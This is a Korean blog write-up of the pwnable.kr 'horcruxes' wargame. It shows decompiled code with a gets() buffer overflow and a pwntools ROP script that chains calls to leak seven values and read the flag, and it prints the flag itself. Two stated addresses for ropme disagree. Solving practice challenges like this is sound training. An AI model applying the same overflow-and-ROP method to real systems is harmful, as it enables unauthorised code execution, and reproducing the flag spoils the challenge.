horcruxes - 7 pt
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi
ssh horcruxes@pwnable.kr -p2222 (pw:guest)
horcruxes@ubuntu:~$ cat readme
connect to port 9032 (nc 0 9032). the 'horcruxes' binary will be executed under horcruxes_pwn privilege.
rop it to read the flag.
horcruxes를 가져와서 IDA로 열어봤다.
scp -P 2222 horcruxes@pwnable.kr:~/horcruxes ~/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | int __cdecl main(int argc, const char **argv, const char **envp) { int v3; // ST18_4@1 setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); alarm(0x3Cu); hint(); init_ABCDEFG(); v3 = seccomp_init(0); seccomp_rule_add(v3, 0x7FFF0000, 173, 0); seccomp_rule_add(v3, 0x7FFF0000, 5, 0); seccomp_rule_add(v3, 0x7FFF0000, 3, 0); seccomp_rule_add(v3, 0x7FFF0000, 4, 0); seccomp_rule_add(v3, 0x7FFF0000, 252, 0); seccomp_load(v3); return ropme(); } | cs |
main 함수에서 init_ABCDEFG()함수를 보면
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | unsigned int init_ABCDEFG() { int v0; // eax@4 unsigned int result; // eax@4 unsigned int buf; // [sp+8h] [bp-10h]@1 int fd; // [sp+Ch] [bp-Ch]@1 fd = open("/dev/urandom", 0); if ( read(fd, &buf, 4u) != 4 ) { puts("/dev/urandom error"); exit(0); } close(fd); srand(buf); a = -559038737 * rand() % 0xCAFEBABE; b = -559038737 * rand() % 0xCAFEBABE; c = -559038737 * rand() % 0xCAFEBABE; d = -559038737 * rand() % 0xCAFEBABE; e = -559038737 * rand() % 0xCAFEBABE; f = -559038737 * rand() % 0xCAFEBABE; v0 = rand(); g = -559038737 * v0 % 0xCAFEBABE; result = f + e + d + c + b + a + -559038737 * v0 % 0xCAFEBABE; sum = result; return result; } | cs |
a, b, c, d, e, f, g 값을 생성해서 다 합친 값을 sum에 넣어둔다.
그다음 ropme()함수를 보면,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | int ropme() { char s[100]; // [sp+4h] [bp-74h]@15 int v2; // [sp+68h] [bp-10h]@1 int fd; // [sp+6Ch] [bp-Ch]@16 printf("Select Menu:"); __isoc99_scanf("%d", &v2); getchar(); if ( v2 == a ) { A(); } else if ( v2 == b ) { B(); } else if ( v2 == c ) { C(); } else if ( v2 == d ) { D(); } else if ( v2 == e ) { E(); } else if ( v2 == f ) { F(); } else if ( v2 == g ) { G(); } else { printf("How many EXP did you earned? : "); gets(s); if ( atoi(s) == sum ) { fd = open("flag", 0); s[read(fd, s, 0x64u)] = 0; puts(s); close(fd); exit(0); } puts("You'd better get more experience to kill Voldemort"); } return 0; } | cs |
41번째 행에서 bof가 일어난다.
입력받은 값이랑 sum이랑 값이 같으면 flag를 출력해준다.
A()는 a의 값을 출력해준다.
그러면, 41번째 행 bof을 이용해서 payload를 dummy[120] + A() + B() + C() + D() + E() + F() + G() + ropme() 로 해서 보낸다면 a~g 모두 값을 받을 수 있고, 받은 값을 모두 더해서 41행 gets()에 보내면 flag를 얻을 수 있을 것 같다.
A() : 0x809fe4b
B() : 0x809fe6a
C() : 0x809fe89
D() : 0x809fea8
E() : 0x809fec7
F() : 0x809fee6
G() : 0x809ff05
ropme() : 0x080afffc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | from pwn import * s = ssh(user='horcruxes',host='pwnable.kr',port=2222,password='guest') p = s.remote("127.0.0.1",9032) func_A = 0x809fe4b func_B = 0x809fe6a func_C = 0x809fe89 func_D = 0x809fea8 func_E = 0x809fec7 func_F = 0x809fee6 func_G = 0x809ff05 ropme = 0x0809fffc p.recvuntil("u:") p.sendline("1") p.recvuntil("? : ") payload = "A"*120 payload += p32(func_A) payload += p32(func_B) payload += p32(func_C) payload += p32(func_D) payload += p32(func_E) payload += p32(func_F) payload += p32(func_G) payload += p32(ropme) p.sendline(payload) t=0 for i in range(0,7): p.recvuntil('EXP +') t += int(p.recvuntil(')')[:-1]) p.recvuntil("u:") p.sendline("1") p.recvuntil("? : ") p.sendline(str(t)) p.interactive() | cs |
Magic_spell_1s_4vad4_K3daVr4!
'WAR GAME > Pwnable.kr' 카테고리의 다른 글
pwnable.kr [blukat] 풀이 (0) | 2019.02.24 |
---|---|
pwnable.kr [unlink] 풀이 (0) | 2018.06.13 |
pwnable.kr [asm] 풀이 (0) | 2018.06.13 |
pwnable.kr [memcpy] 풀이 (0) | 2018.06.12 |
pwnable.kr [uaf] 풀이 (1) | 2018.06.11 |